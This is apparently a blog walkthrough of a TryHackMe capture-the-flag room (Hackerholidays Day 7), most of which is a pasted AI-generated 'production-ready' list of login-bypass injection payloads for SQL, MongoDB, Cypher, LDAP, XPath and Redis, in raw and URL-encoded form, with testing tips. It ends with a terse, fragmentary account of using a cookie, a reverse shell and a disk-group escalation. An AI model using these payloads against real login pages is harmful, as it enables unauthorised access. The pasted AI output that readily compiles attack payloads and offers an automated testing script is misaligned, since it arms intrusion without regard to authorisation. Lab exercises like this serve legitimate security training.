Summary
Try Hack Me Hackerholidays Day7 Do Not Disturb Walkthrough This was hard. As usual do nmap http so dirb but nothing is good . only login page so only left is sqli here they are using url encoding Hah we can use some basic ones encode it url and try Then quick google search and AI mode
Here is a compiled, production-ready payload list optimized for an application/x-www-form-urlencoded
login page.
Because x-www-form-urlencoded
requires special handling for characters like &
, +
, and spaces, you must use URL-encoded versions if you are injecting via a tool like Curl, Burp Suite, or Python scripts. If you are typing directly into a browser text box, use the Raw Payload versions (the browser will automatically URL-encode them for you). [1]
🗄️ 1. Relational SQL Databases (MySQL, PostgreSQL, Oracle, SQL Server)
These payloads break the string wrapper, force a TRUE
logic condition, and comment out the password check. [2]
- Classic Single-Quote Bypass
- Raw:
' OR 1=1--
- URL-Encoded:
%27+OR+1%3D1--+
[3, 4, 5] - Classic Double-Quote Bypass
- Raw:
" OR 1=1--
- URL-Encoded:
%22+OR+1%3D1--+
[6] - MySQL Specific (using
#
comment) - Raw:
' OR 1=1#
- URL-Encoded:
%27+OR+1%3D1%23
- Targeting Admin Directly
- Raw:
admin'--
- URL-Encoded:
admin%27--+
- Universal Heavy Bypass (Handles various quotation rules)
- Raw:
' OR '1'='1' --
- URL-Encoded:
%27+OR+%271%27%3D%271%27+--+
[7, 8]
🍃 2. MongoDB / Document NoSQL Databases
For x-www-form-urlencoded
requests, you must use array notation brackets []
in the parameter names to force the backend parser (like Express body-parser
or PHP) into processing your input as an object operator instead of a string. [9]
- Not Equal Operator Bypass (Matches any valid user/password)
- Raw URL parameters:
username[$ne]=invalid&password[$ne]=invalid
- Greater Than Operator Bypass
- Raw URL parameters:
username[$gt]=&password[$gt]=
- Regex Wildcard Bypass
- Raw URL parameters:
username[$regex]=.*&password[$regex]=.*
🕸️ 3. Graph Databases (Neo4j / Cypher)
Cypher queries use standard string quotes but map elements via parentheses. These payloads close the tracking node syntax early.
- Cypher Node Breakout
- Raw:
') OR 1=1//
- URL-Encoded:
%27%29+OR+1%3D1%2F%2F
- Cypher OR Bypass
- Raw:
' OR 1=1 OR '1'='1
- URL-Encoded:
%27+OR+1%3D1+OR+%271%27%3D%271
📂 4. Directory Services (LDAP)
LDAP injection thrives on injecting wildcards (*
) and manipulating structural tracking brackets. [10]
- The Global Wildcard (Matches any account details)
- Raw:
*
- URL-Encoded:
%2A
- Logical OR Logic Bypass
- Raw:
*)(|(&
- URL-Encoded:
%2A%29%28%7C%28%26
- Admin Object Closing Bypass
- Raw:
admin*)(userPassword=*
- URL-Encoded:
admin%2A%29%28userPassword%3D%2A
[11]
📄 5. XML / XPath Databases
XPath uses logic paths. If user input forms part of the node navigation script, these payloads break the structure. [12]
- True Function Logic Injection
- Raw:
' or true() or '
- URL-Encoded:
%27+or+true%28%29+or+%27
- Node Operator Bypass
- Raw:
'] | //user_node[id=
- URL-Encoded:
%27%5D+%7C+%2F%2Fuser_node%5Bid%3D
⚡ 6. Key-Value Stores (Redis Command Injection)
Because x-www-form-urlencoded
parses %0D%0A
directly as carriage-return line-feeds (\r\n
), you can inject entire alternative commands directly into raw Redis pipeline stream buffers.
- Redis Line Injection (Creates/overwrites a key context)
- Raw:
admin\r\nSET auth true\r\n
- URL-Encoded:
admin%0D%0ASET+auth+true%0D%0A
💡 Tips for Testing Form-Encoded Logins
- Test Parameters Independently: Try injecting into the
username
field while keeping a dummy text inpassword
, then vice versa. Some apps fail safely on one parameter but leak information on another. [13] - Watch for HTTP 500 Errors: A raw internal server error change after adding a single
%27
('
) strongly indicates unhandled input parsing—the structural setup is highly likely to be vulnerable.
Would you like help generating a quick automated Python script to test this compiled payload list safely against your specific login URL endpoint?
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[9] [https://codeswithpayal.hashnode.dev](https://codeswithpayal.hashnode.dev/day-14-handling-post-data-with-body-parser-in-nodejs-and-express)
[10] [https://medium.com](https://medium.com/@riy4z/htb-phonebook-26c82c13c96d)
[11] [https://gupta-bless.medium.com](https://gupta-bless.medium.com/ldap-injection-from-a-developers-perspective-7b5c8f8b2684)
[13] [https://labex.io](https://labex.io/tutorials/kali-perform-a-scan-on-a-post-request-with-sqlmap-594133)
and this worked nice let’s add cookie to staff wah I am impatient something is off lol connection was terminated wah works and this works. actually i tried giving direct require but got error but this works. get a reverse shell and connect it and hunt the flag let’s see processes i tried many things but no hope but i noticed can’t cd to pipeline? why? next i was stuck so saw some walkthroughs and yah this disk thing was new to me